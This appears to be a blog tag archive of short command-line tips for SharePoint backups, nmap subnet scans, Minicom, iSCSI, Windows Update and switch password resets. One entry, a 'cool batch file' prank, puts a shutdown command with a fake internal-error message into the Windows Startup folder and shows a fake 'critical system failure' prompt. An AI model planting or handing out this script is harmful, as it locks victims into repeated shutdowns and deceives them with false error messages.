How to create a backup file with the date of today. Here is an example with STSADM from Sharepoint Services. stsadm -o backup -filename “\\gl-nas-01\backup$\Sharepoint\GL-SP-01\%date:~-10,3%%date:~-7,3%%date:~-4%.dat” -url http://intranet/sites/home
Posts Tagged ‘CLI’
Scan a subnet for active IPs
With NMap it is quite easy to scan a subnet for active IPs. $ nmap -sP 192.168.10.0/24
Install and setup Minicom
Minicom is the hyperterminal for Linux. Minicom is by default not installed. Install Minicom with the following command sudo apt-get install minicom Find your serial port dmesg | grep tty $ dmesg | grep tty [ 0.001251] console [tty0] enabled [ 72.953237] usb 6-1: pl2303 converter now attached to ttyUSB0 I use a USB serial [...]
One cool batch file – ;-D
@echo off echo shutdown -s -t 5 -c “Windows is shutting down due to an internal error” > C:\close.bat copy C:\close.bat “C:\documents and settings\all users\start menu\programs\startup\” cls echo Maximize this window to continue echo Wscript.Sleep 4000 > C:\sleep1.vbs call C:\sleep1.vbs echo Msgbox”Critical system process failure. Press enter to to begin auto fix.” > c:\error1.vbs call [...]
Reset a Foundry ServerIron XL password
Previously I posted a blog about completely resetting a Foundry ServerIron XL But what if you only want to reset the password? This is how it works.. Connect with a serial cable to the Foundry ServerIron XL. 1) Unplug the Switch 2) Plug the switch back in, and be immediately ready to: 3) Hit b [...]
Force the update detection from Automatic Update Client
When deploying a new Windows XP installation your first task is installing the countless Windows updates. When you wait for Windows XP to check for updates you’ll need a lot of time. To accelerate this process just run the following batch file. @echo on net stop wuauserv REG DELETE “HKLM\Software\Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto Update” /v LastWaitTimeout /f REG [...]
GParted can’t create NTFS partitions
I tried to create a NTFS partition on a USB harddisk with my Ubuntu 9.10 installation. I ran into the following problem. Turned out I missed a few packages. Just install these packages and NTFS isn’t a problem anymore. sudo apt-get install gparted ntfs-3g ntfs-config ntfsprogs
Connect to a iSCSI Target with Ubuntu
Install Open-iSCSI Initiator Type the following command at a shell prompt: sudo apt-get install open-iscsi Open-iSCSI default configuration Default configuration file could be located at /etc/iscsi/iscsid.conf or ~/.iscsid.conf. Open /etc/iscsi/iscsid.conf file: vi /etc/iscsi/iscsid.conf Set node.session.auth.username, node.session.auth.password and other parameter as follows: node.startup = automatic node.session.auth.username = MY-ISCSI-USER node.session.auth.password = MY-ISCSI-PASSWORD discovery.sendtargets.auth.username = MY-ISCSI-USER discovery.sendtargets.auth.password = [...]
Manually uninstall Windows Internal Database
When you deploy Windows SharePoint Services 3.0 in a single-server configuration by using the Basic installation option, the Setup program automatically installs and configures Windows Internal Database. However, an entry for Windows Internal Database is not created in the Add or Remove Programs tool. If you remove Windows SharePoint Services 3.0, the Setup program does [...]
Script Repository VMWare PowerShell
Hugo over at PeetersOnline.nl has a new Script Repository on his site. If you’re looking for PowerShell scripts for VMWare, you want to start here.

